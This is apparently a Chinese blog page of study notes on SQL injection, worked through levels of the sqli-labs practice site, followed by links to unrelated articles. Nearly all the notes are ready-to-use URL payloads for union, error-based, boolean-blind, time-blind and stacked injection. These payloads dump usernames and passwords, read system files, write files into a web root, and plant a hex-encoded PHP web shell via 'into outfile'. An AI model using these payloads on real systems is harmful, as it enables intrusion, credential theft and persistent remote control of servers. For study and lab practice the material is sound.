6.sql注入
sql注入
问题
1、SQL注入原理
在数据交互中,前端的数据传入到后台进行处理时,没有做严格的判断,过滤。导致传入的“数据”拼接到SQL语句中,被当作SQL语句的一部分执行,导致信息泄露。
2、如何判断注入点
可以对输入数据的地方输入一些特殊字符,看服务器是否会去执行。要是没有返回信息,可能是盲注。
联合注入
例子:(sql_lab第1关为例)
(1)找闭合
?id=1' and 1=1--+
(2)确定列数
?id=1' order by 1--+
(3)查看是否回显
?id=-1' union select 1,2,3--+
(4)查数据库名、表名
?id=-1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()--+
(5)查列名
?id=-1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'--+
(6)查询数据
?id=-1' union select 1,group_concat(username),group_concat(password) from security.users--+
(7)读文件
?id=-1' union select 1,2,load_file('C:/Windows/win.ini')--+
(8)写文件
?id=-1' union select 1,2,'' into outfile 'E:/Security/phpstudy_pro/WWW/yyy.php'--+
?id=-1' union select 1,2,load_file("C:/yyy.php") into outfile 'E:/Security/phpstudy_pro/WWW/yyy.php'--+
报错注入(有错误报出)
例子:(sql_lab第5关为例)
(1)找闭合
?id=1' and 1=1--+
(2)确定列数
?id=1' order by 1--+
(3)查看是否回显
?id=-1' union select 1,2,3--+
(4)查数据库名
?id=1' or extractvalue(1,concat(0x7e,(select database()),0x7e))--+
?id=1' or updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
(5)查表名
?id=1' or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))--+
?id=1' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+
(6)查列名
?id=1' or extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users"),0x7e))--+
?id=1' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users"),0x7e),1)--+
(7)查数据
?id=1' or extractvalue(1,concat(0x7e,substr((select group_concat(username,"^",password) from security.users),1,30),0x7e))--+
?id=1' or updatexml(1,concat(0x7e,substr((select group_concat(username,"^",password) from security.users),1,30),0x7e),1)--+
(8)读文件
?id=1' or extractvalue(1,concat(0x7e,substr((select load_file("C:/Windows/win.ini")),1,30),0x7e))--+
?id=1' or updatexml(1,concat(0x7e,substr((select load_file("C:/Windows/win.ini")),1,30),0x7e),1)--+
?id=-1' union select 1,2,load_file('C:/Windows/win.ini')--+
(9)写文件
?id=-1' union select 1,2,'' into outfile 'E:/Security/phpstudy_pro/WWW/yyy.php'--+
?id=-1' union select 1,2,load_file("C:/yyy.php") into outfile 'E:/Security/phpstudy_pro/WWW/yyy.php'--+
布尔盲注(不管输入什么,界面只会出现两种结果)
例子:(sql_lab第8关为例)
(1)找闭合
?id=1' and 1=1--+
(2)确定列数
?id=-1' order by 1--+
(3)查看是否回显(可以用来写文件)
?id=-1' union select 1,2,3--+
(4)猜数据库长度
?id=1' and length(database())=8--+
(5)猜数据库名
?id=1' and substr(database(),1,1)='s'--+
?id=1' and ascii(substr(database(),1,1))=115--+
(6)猜出数据库后猜数据库中表的数量
?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4--+
(7)猜表名长度
?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6--+
依次类推一直猜......
(8)读文件(布尔盲注读不出来)
?id=-1' union select 1,2,file_load("C:/Windows/win.ini")--+
(9)写文件
?id=-1' union select 1,2,"" into outfile 'E:/Security/phpstudy_pro/WWW/yyy.php'--+
时间盲注(不管输入什么,界面都是一样的)
例子:(sql_lab第9关为例)
(1)找闭合
?id=1' and if(1=1,sleep(3),0)--+
(2)猜数据长度
?id=1' and if(length(database())=8,sleep(3),0)--+
(3)猜数据库名
?id=1' and if(ascii(substr(database(),1,1))=115,sleep(3),0)--+
(4)猜数据库中表数量
?id=1' and if((select count(table_name) from information_schema.tables where table_schema=database())=6,sleep(3),0)--+
(5)猜表名长度
?id=1' and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6,sleep(3),0)--+
依次类推一直猜......
(6)读文件(可以用来探测是否存在这个文件)
?id=1' and if(length(load_file("C:/test.php"))>1,sleep(3),0)--+
(7)写文件
?id=1' into outfile "E:/Security/phpstudy_pro/WWW/yyy.php" lines terminated by ""--+
?id=1' into outfile "E:/Security/phpstudy_pro/WWW/yyy.php" lines terminated by 0x3C3F7068702061737365727428245F504F53545B6C657373395D293B3F3E--+
堆叠注入(利用mysqli_multi_query()函数)
例子:(sql_lab第38关为例)
(1)可写入数据到数据库
?id=1' union select 1,2,3;insert into users(username,password) value("yyy","yyy");
3、sqlmap学习
6.sql注入的更多相关文章
- 个人网站对xss跨站脚本攻击(重点是富文本编辑器情况)和sql注入攻击的防范
昨天本博客受到了xss跨站脚本注入攻击,3分钟攻陷--其实攻击者进攻的手法很简单,没啥技术含量.只能感叹自己之前竟然完全没防范. 这是数据库里留下的一些记录.最后那人弄了一个无限循环弹出框的脚本,估计 ...
- Web安全相关(五):SQL注入(SQL Injection)
简介 SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据 ...
- 从c#角度看万能密码SQL注入漏洞
以前学习渗透时,虽然也玩过万能密码SQL注入漏洞登陆网站后台,但仅仅会用,并不理解其原理. 今天学习c#数据库这一块,正好学到了这方面的知识,才明白原来是怎么回事. 众所周知的万能密码SQL注入漏洞, ...
- 浅谈SQL注入风险 - 一个Login拿下Server
前两天,带着学生们学习了简单的ASP.NET MVC,通过ADO.NET方式连接数据库,实现增删改查. 可能有一部分学生提前预习过,在我写登录SQL的时候,他们鄙视我说:“老师你这SQL有注入,随便都 ...
- 揭开SQL注入的神秘面纱PPT分享
SQL注入是一个老生常谈但又经常会出现的问题.该课程是我在公司内部培训的课程,现在分享出来,希望对大家有帮助. 点击这里下载.
- 深入理解SQL注入绕过WAF和过滤机制
知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 ...
- jdbc java数据库连接 8)防止sql注入
回顾下之前jdbc的开发步骤: 1:建项目,引入数据库驱动包 2:加载驱动 Class.forName(..); 3:获取连接对象 4:创建执行sql语句的stmt对象; 写sql 5:执行sql ...
- Entity Framework关于SQL注入安全问题
1.EF生成的sql语句,用 parameter 进行传值,所以不会有sql注入问题 2.EF下有涉及外部输入参数传值的,禁止使用EF直接执行sql命令方式,使用实体 SQL 参考: https: ...
- 关于SQL注入和如何防止
之前在笔试的时候没有很好的答出这个问题,因此我要总结一下问题,以免日后继续在这个地方跌倒,以下是自己的理解,如有错误请指出 一.什么是SQL注入 SQL注入就是服务器在根据业务去处理数据库的时候,客户 ...
- Java防止SQL注入2(通过filter过滤器功能进行拦截)
首先说明一点,这个过滤器拦截其实是不靠谱的,比如说我的一篇文章是介绍sql注入的,或者评论的内容是有关sql的,那会过滤掉:且如果每个页面都经过这个过滤器,那么效率也是非常低的. 如果是要SQL注入拦 ...
随机推荐
- c语言中的原子操作
参考文章:https://blog.csdn.net/yikai2009/article/details/8650221 1. 原子操作:原子操作指的是在执行过程中不会被别的代码所中断的操作..分为 ...
- Windows 10 ~ Docker 安装
Windows安装Docker 不推荐在Windows系统安装Docker,会有一些奇怪的坑不容易解决,建议windows环境安装虚拟机,通过虚拟机中的Linux系统安装Docker 官方安装文档 9 ...
- turtle 画照片
# -*- coding: utf-8 -*- import turtle as t import cv2 def draw_img(img_path, scale=1): ""& ...
- Mysql存储类型长度
分析MySQL数据类型的长度 MySQL有几种数据类型可以限制类型的"长度",有CHAR(Length).VARCHAR(Length).TINYINT(Length).SMALL ...
- 时间格式转换成指定格式(Vue)
1 /** 2 * Parse the time to string 3 * @param {(Object|string|number)} time 4 * @param {string} cFor ...
- pg_dump导出表时正则匹配多个表,pg_dump导出表
报错信息:pg_dump: 错误: 没有找到符合的表 报错语句:C:\Users\Admin>pg_dump -h172.16.3.159 -p5432 -dchisapp -nmchs -Um ...
- Markdown基础语法练习
Markdown语法学习 标题 三级标题 四级标题 字体 hello,world! 两端各两个*****号 hello,world! 两端各一个*****号 hello,world! 两端各三个*** ...
- 8、HTTP Cookie管理器
如果有需要加的cookie 就选择添加 如果没有特殊的 就默认就好了 第一次访问是没有cookie的 会话 session Cookie 是明文的 Session id 是保存在cookie里 ...
- 利用网络复制安装额外域控制器、利用介质安装额外域控制器、安装RODC额外域控制器
一.拥有多台域控制器的优势 1.分担用户身份验证的负担,改善用户登录的效率 2.容错功能:若有域控制器故障,此时仍然可以有其他正常的域控制器来继续提供服务,因此对用户的服务并不会停止 二.系统提供两种 ...
- 总结Unity查找物体的几种方法
Unity中经常需要查找对象,对应的API也有好几种,各自有不同的适用场合. 1. GameObject.Find 通过名字或路径查找游戏对象. GameObject.Find("GameO ...